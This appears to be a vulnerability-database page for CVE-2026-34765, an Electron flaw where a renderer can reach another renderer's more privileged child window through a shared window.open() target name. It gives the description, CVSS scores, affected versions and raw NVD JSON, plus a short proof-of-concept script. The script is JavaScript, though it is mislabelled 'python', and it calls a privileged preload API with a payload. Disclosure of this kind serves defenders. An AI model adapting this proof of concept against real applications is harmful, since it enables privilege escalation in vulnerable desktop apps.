Security Vulnerability Report
中文
CVE-2026-34765 CVSS 6.0 MEDIUM

CVE-2026-34765

Published: 2026-04-07 22:16:23
Last Modified: 2026-04-20 17:12:46

Description

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5, when a renderer calls window.open() with a target name, Electron did not correctly scope the named-window lookup to the opener's browsing context group. A renderer could navigate an existing child window that was opened by a different, unrelated renderer if both used the same target name. If that existing child was created with more permissive webPreferences (via setWindowOpenHandler's overrideBrowserWindowOptions), content loaded by the second renderer inherits those permissions. Apps are only affected if they open multiple top-level windows with differing trust levels and use setWindowOpenHandler to grant child windows elevated webPreferences such as a privileged preload script. Apps that do not elevate child window privileges, or that use a single top-level window, are not affected. Apps that additionally grant nodeIntegration: true or sandbox: false to child windows (contrary to the security recommendations) may be exposed to arbitrary code execution. This vulnerability is fixed in 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5.

CVSS Details

CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:41.2.0:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:42.0.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
Electron < 39.8.5
Electron < 40.8.5
Electron < 41.1.0
Electron < 42.0.0-alpha.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept: Demonstrating the window name collision // This script requires two separate renderer processes or windows // running in a vulnerable Electron version. // Renderer 1 (Low Privilege) // Tries to open a window with a specific target name. // If a privileged window with this name exists, it may be referenced. const targetName = "collision-target"; const potentialWin = window.open("", targetName); if (potentialWin) { console.log("Window reference obtained:", potentialWin); // Attempt to interact with the window context. // If the window was created with elevated privileges (e.g., nodeIntegration), // this renderer might gain access to those APIs. try { // Example: trying to access a variable or function exposed in a preload script // of the privileged window. if (potentialWin.somePrivilegedAPI) { potentialWin.somePrivilegedAPI("malicious payload"); console.log("Privileged API called successfully."); } else { console.log("Privileged API not found directly."); } } catch (e) { console.error("Exploit failed or access blocked:", e); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34765", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:22.960", "lastModified": "2026-04-20T17:12:46.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5, when a renderer calls window.open() with a target name, Electron did not correctly scope the named-window lookup to the opener's browsing context group. A renderer could navigate an existing child window that was opened by a different, unrelated renderer if both used the same target name. If that existing child was created with more permissive webPreferences (via setWindowOpenHandler's overrideBrowserWindowOptions), content loaded by the second renderer inherits those permissions. Apps are only affected if they open multiple top-level windows with differing trust levels and use setWindowOpenHandler to grant child windows elevated webPreferences such as a privileged preload script. Apps that do not elevate child window privileges, or that use a single top-level window, are not affected. Apps that additionally grant nodeIntegration: true or sandbox: false to child windows (contrary to the security recommendations) may be exposed to arbitrary code execution. This vulnerability is fixed in 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "39.8.4", "matchCriteriaId": "239C939D-31F6-414C-AF8A-385ADA0F2A17"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "40.0.0", "versionEndIncluding": "40.8.4", "matchCriteriaId": "8190FCCE-AFCA-4D8C-BF8B-C8A3996B0D9D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "41.0.0", "versionEndExcluding": "41.1.0", "matchCriteriaId": "A87A2631-72BF-432E-B014-AEFE45CB9BAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.2.0:*:*:*:*:node.js:*:*", "matchCriteriaId": "AE2BDFE9-435B-4E7A-9785-0805EE1AED4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:42.0.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "498062D8-5C83-4FC2-A04B-94F3228B2BED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:42.0.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "A272F9F4-AB62-407C-B1A8-18586A474C19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:42.0.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "BF49E260-9653-4D26-8B6C-C6FAFE697F5A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:42.0.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "2F3B609A-0CA5-4E8C-865E-CF79B6B0CCCC"}]}]}], "references": [{"url": "https://github.com/electron/electron/security/advisories/GHSA-f3pv-wv63-48x8", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}